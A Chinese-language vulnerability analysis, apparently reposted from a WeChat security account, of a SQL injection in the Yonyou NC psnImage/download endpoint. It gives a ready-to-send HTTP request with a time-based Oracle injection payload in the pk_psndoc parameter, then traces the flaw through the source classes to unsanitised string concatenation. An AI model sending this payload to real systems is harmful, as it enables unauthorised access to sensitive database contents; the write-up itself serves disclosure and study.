0x00.漏洞描述
用友NC接口/psnImage/download存在SQL注入漏洞,攻击者可获取数据库敏感信息
GET /portal/pt/psnImage/download?pageId=login&pk_psndoc=1%27)%20AND%206322=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65)||CHR(79)||CHR(66)||CHR(101),8)%20AND%20(%27rASZ%27=%27rASZ HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/41.0.887.0 Safari/532.1
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: close
注入后延迟返回
0x01.漏洞分析
psnImage/download接口存在sql注入,拿到源码直接全局搜索psnImage关键字
在PsnMapImageAction类中此处存在Servlet注解,也就是说当访问路径为/psnImage会直接定位到这里,点进PsnMapImageAction类去查看具体内容
在download方法上面标注了@Action标签,当我们请求psnImage/download的时候就会进入该download方法中
继续查看download方法的详细内容
这里接收了一个参数为pk_psndoc,并且传入queryPsndocVOByPk函数来执行,queryPsndocVOByPk函数分别有三个参数,第一个参数为字符串,第二和第三个参数都为布尔类型
queryPsndocVOByPk函数是psndocQryServ对象进行调用的,而psndocQryServ对象是通过IPsndocQryService接口来进行实例化的,让我们进去IPsndocQryService接口看一下
queryPsndocVOByPk是一个被重载的方法返回类型为PsndocAggVO,根据不同的参数执行不同的操作,这里已经标注出来了
我们需要查看queryPsndocVOByPk的具体实现需要来看是谁实现了IPsndocQryService接口,直接全局搜索queryPsndocVOByPk
粗略的查看一下可以定位到PsndocServiceImpl类中,其实现了IPsndocQryService接口
查看queryPsndocVOByPk方法具体实现内容
这里传入参数后调用了getPsndocDAO().queryPsndocVOByPk
直接查看getPsndocDAO内容
这里返回的是一个PsndocDAO类型的对象,那么去看PsndocDAO类中的queryPsndocVOByPk方法
在这里经过了一堆花里胡哨的操作后最终将pk_psndoc参数拼接到了sql语句中,产生了sql注入,总体来说还是比较清晰的。
原文始发于微信公众号(深白网安):用友NC psnImage/download SQL注入代码分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论